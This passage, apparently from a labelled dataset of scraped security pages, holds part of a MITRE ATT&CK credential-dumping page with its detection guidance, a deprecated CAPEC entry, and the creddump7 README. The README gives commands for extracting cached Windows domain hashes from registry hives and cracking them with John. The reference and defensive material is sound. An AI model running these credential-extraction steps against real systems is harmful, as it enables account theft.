[79] Leviathan Leviathan has used publicly available tools to dump password hashes. [111] Lslsass Lslsass can dump active logon session password hashes from the lsass process. [27] Magic Hound Magic Hound stole domain credentials from Microsoft Active Directory Domain Controller and leveraged Mimikatz. [103] Matroyshka Matroyshka is capable of stealing Outlook passwords. [61] [62] menuPass menuPass has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials. [54] [72] Mimikatz Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI. [38] [15] [39] [40] MimiPenguin MimiPenguin can dump process memory and extract clear-text credentials. [32] Mivast Mivast has the capability to gather NTLM password information. [53] Molerats Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims. [73] MuddyWater MuddyWater has performed credential dumping with Mimikatz, LaZagne, and other tools, including by dumping passwords saved in victim web browsers and email. [82] [83] Net Crawler Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems. [44] Night Dragon Night Dragon has dumped account hashes with Carbanak and cracked them with Cain & Abel. [88] NotPetya NotPetya contains a modified version of Mimikatz to help gather credentials that are later used for lateral movement. [66] [67] [40] OilRig OilRig has used credential dumping tools such as Mimikatz and LaZagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access. [101] [102] [103] OLDBAIT OLDBAIT collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients. [52] Olympic Destroyer Olympic Destroyer contains a module that tries to obtain credentials from LSASS, similar to Mimikatz. These credentials are used with PsExec and Windows Management Instrumentation to help the malware propagate itself across a network. [64] OnionDuke OnionDuke steals credentials from its victims. [46] Patchwork Patchwork dumped the login data database from \\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. [81] PinchDuke PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP). [46] PLATINUM PLATINUM has used keyloggers that are also capable of dumping credentials. [86] Poseidon Group Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers. [97] PoshC2 PoshC2 contains an implementation of Mimikatz to gather credentials from memory. [42] PowerSploit PowerSploit contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences, Windows vault credential objects, or using Mimikatz. [29] [30] POWERTON POWERTON has the ability to dump password hashes. [68] Prikormka A module in Prikormka collects passwords stored in applications installed on the victim. [60] Pupy Pupy executes Mimikatz using PowerShell and can also perform pass-the-ticket and use Lazagne for harvesting credentials. [33] pwdump pwdump can be used to dump credentials. [37] QuasarRAT QuasarRAT can obtain passwords from common browsers and FTP clients. [25] [26] RedLeaves RedLeaves can gather browser usernames and passwords. [56] Remsec Remsec can dump the SAM database. [55] Revenge RAT Revenge RAT has a plugin for credential harvesting. [71] ROKRAT ROKRAT steals credentials stored in Web browsers by querying the sqlite database and leveraging the Windows Vault mechanism. [57] Soft Cell Soft Cell used a modified version of Mimikatz along with a PowerShell-based Mimikatz to dump credentials on the victim machines. [114] Sowbug Sowbug has used credential dumping tools. [78] Stealth Falcon Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook. [90] Stolen Pencil Stolen Pencil gathers credentials using Moafee and Procdump. [109] Strider Strider has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password. [98] Suckfly Suckfly used a signed credential-dumping tool to obtain victim account credentials. [108] TEMP.Veles TEMP.Veles has used Mimikatz and a custom tool, SecHack, to harvest credentials. [113] Threat Group-3390 Threat Group-3390 actors have used gsecdump and a modified version of Mimikatz called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers. [93] [94] Trojan.Karagany Trojan.Karagany can dump passwords and save them into \\ProgramData\\Mail\\MailAg\\pwds.txt. [43] Unknown Logger Unknown Logger is capable of stealing usernames and passwords from browsers on the victim machine. [48] Windows Credential Editor Windows Credential Editor can dump credentials. [36] Detection Windows Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity. Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, [115] which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. [8] [9] [10] Note: Domain controllers may not log replication requests originating from the default domain controller account. [116]. Also monitor for network protocols [8] [16] and other replication requests [117] from IPs not associated with known domain controllers. [20] Linux To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs. References Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018. Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018. Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018. Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015. Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018. Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. Microsoft. (2008, July 25). Credential Security Service Provider and SSO for Terminal Services Logon. Retrieved April 11, 2018. Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017. Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017. SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017. Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017. Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017. Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017. Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017. Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016. NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017. Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017. Microsoft. (n.d.). How to grant the ""Replicating Directory Changes"" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017. Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015. Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017. Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018. MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. Mandiant. (n.d.). APT1 Exposing One of China\xe2\x80\x99s Cyber Espionage Units. Retrieved July 18, 2016. TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015. PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018. PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018. SecureAuth. (n.d.). Retrieved January 15, 2019. Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017. Nicolas Verdier. (n.d.). Retrieved January 29, 2018. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015. Wikipedia. (1985, June 22). pwdump. Retrieved June 22, 2016. Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015. Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017. The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. Nettitude. (2016, June 8). PoshC2: Powershell C2 Server and Implants. Retrieved April 23, 2019. Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \xe2\x80\x93 part 2. Retrieved September 26, 2016. Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016. Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018. FireEye. (2015). APT28: A WINDOW INTO RUSSIA\xe2\x80\x99S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016. PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016. Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015. Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016. ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017. Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017. Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019. Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019. US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019. Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019. Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. US-CERT. (2019, April 10). MAR-10135536-8 \xe2\x80\x93 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019. Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017. ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016. US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017. Core Security. (n.d.). Impacket. Retrieved November 2, 2017. FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017. Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018. Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016. Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \xe2\x80\x9cKE3CHANG\xe2\x80\x9d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014. Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018. McAfee\xc2\xae Foundstone\xc2\xae Professional Services and McAfee Labs\xe2\x84\xa2. (2011, February 10). Global Energy Cyberattacks: \xe2\x80\x9cNight Dragon\xe2\x80\x9d. Retrieved February 19, 2018. Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016. Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\xe2\x80\x99t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016. Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017. Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017. Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017. K\xc3\xa1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016. Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016. ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017. Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016. McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019. Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016. ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019. Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019. Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. PowerSploit. (n.d.). Retrieved December 4, 2014. Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017. Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-567: DEPRECATED: Obtain Data via Utilities (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-567: DEPRECATED: Obtain Data via Utilities (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-567: DEPRECATED: Obtain Data via Utilities Attack Pattern ID: 567 Abstraction: Standard Status: Deprecated Presentation Filter: Basic Complete Description This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack. Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation Modifications Modification Date Modifier Organization 2018-07-31 CAPEC Content Team The MITRE Corporation Updated Description Summary, References, Related_Attack_Patterns Previous Entry Names Change Date Previous Entry Name 2018-07-31 Obtain Data via Utilities More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - Neohapsis/creddump7 Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 24 Star 221 Fork 61 Neohapsis/creddump7 Code Issues 2 Pull requests 4 Projects 0 Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up No description, website, or topics provided. 18 commits 1 branch 1 release Fetching contributors GPL-3.0 Python Python 100.0% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in Neohapsis/creddump7? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back nharpsis Merge pull request #6 from tijldeneut/master \xe2\x80\xa6 Update hashdump.py Latest commit 893b485 Feb 19, 2018 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. framework Update hashdump.py Jan 9, 2018 .gitignore modified for Vista/7 Jun 24, 2014 CHANGELOG initial Google Code checkout Jun 23, 2014 COPYING initial Google Code checkout Jun 23, 2014 README.md fixed code formatting Jun 26, 2014 cachedump.py added easier usage examples Jun 24, 2014 lsadump.py bugfix in lsadump. Jul 30, 2015 pwdump.py initial Google Code checkout Jun 23, 2014 README.md #Information This repo is for my modifications to the original 'creddump' program available at: https://code.google.com/p/creddump/ I did not write the original program. I have combined many patches and fixes I have seen from different forums and user suggestions, as well as modified the usage to make it a little more clear. I followed patches and fixes from the following links: https://code.google.com/p/creddump/issues/detail?id=4 https://code.google.com/p/volatility/issues/detail?id=92 Enjoy! Ronnie Flathers (@ropnop) ###Usage Mount a Windows 7/Vista partition: # mkdir /mnt/win # ntfs-3g /dev/sda1 /mnt/win Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds: # ./cachedump.py usage: ./cachedump.py Example (Windows Vista/7): ./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true Example (Windows XP): ./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false # ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format: # john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x]) g0d (god) Welcome1! (nharpsis) We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat. ####Below is the original README file OVERVIEW creddump is a python tool to extract various credentials and secrets from Windows registry hives. It currently extracts: LM and NT hashes (SYSKEY protected) Cached domain passwords LSA secrets It essentially performs all the functions that bkhive/samdump2, cachedump, and lsadump2 do, but in a platform-independent way. It is also the first tool that does all of these things in an offline way (actually, Cain & Abel does, but is not open source and is only available on Windows). REQUIREMENTS alldump has only been tested on python 2.5. It should work on 2.4 as well, but will likely need modification before it will work on 2.3 or below. python-crypto is required for its MD5/DES/RC4 support. To obtain it, see: http://www.amk.ca/python/code/crypto For lsadump: system and SECURITY hives For cachedump: system and SECURITY hives For pwdump: system and SAM hives USAGE Dump cached domain hashes: usage: ./cachedump.py Dump LSA secrets: usage: ./lsadump.py Dump local password hashes: usage: ./pwdump.py FEATURES Platform independent operation. The only inputs are the hive files from the system--we don't rely on any Windows functionality at all. Open-source and (hopefully!) readble implementations of Windows obfuscation algorithms used to protect LSA secrets, cached domain passwords, and A reasonably forgiving registry file parser in pure Python. Look through framework/types.py and framework/win32/rawreg.py to see how it works. The first complete open-source implementation of advapi32's SystemFunction005. The version in the Wine source code does not appear to allow for keys longer than 7 bytes, while the Windows version (and this version) does. See decrypt_secret() in framework/win32/lsasecrets.py AUTHOR creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu). For more information on Syskey, LSA secrets, cached domain credentials, and lots of information on volatile memory forensics and reverse engineering, check out: http://moyix.blogspot.com/ CREDITS AAron Walters. Much of the data type parsing code is taken from Volatility, an excellent memory analysis framework written in Python. He's also a really nice guy, and has helped me out a lot in my research. https://www.volatilesystems.com/default/volatility Massimiliano Montoro (mao), for reversing the mechanism Windows uses to derive the LSA key so that it can be computed directly from the hive files, as decribed in this post: http://oxid.netsons.org/phpBB2/viewtopic.php?t=149 http://www.oxid.it/ Jeremy Allison, for the details of the obfuscation applied to password hashes in the SAM, as implemented in the original pwdump. http://us4.samba.org/samba/ftp/pwdump/ Nicola Cuomo, for his excellent description of the syskey mechanism and how it is used to encrypt the SAM in Windows 2000 and above. http://www.studenti.unina.it/~ncuomo/syskey/ Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to read LSA secrets directly from the registry, given the LSA key. http://www.xfocus.net/articles/200411/749.html [Note: the above is in Chinese, but quite comprehensible if you use Google Translate and can read C ;)] Nicholas Ruff, for his perl implementation of des_set_odd_parity, which he apparently took from SSLEAY: http://seclists.org/pen-test/2005/Jan/0180.html Arnaud Pilon, for the details of how to retrieve cached domain, as implemented in cachedump. http://www.securiteam.com/tools/5JP0I2KFPA.html S\xef\xbf\xbdbastien Ke, for his cute hexdump recipe: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 LICENSE This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/. \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Active Directory - Wikipedia Active Directory From 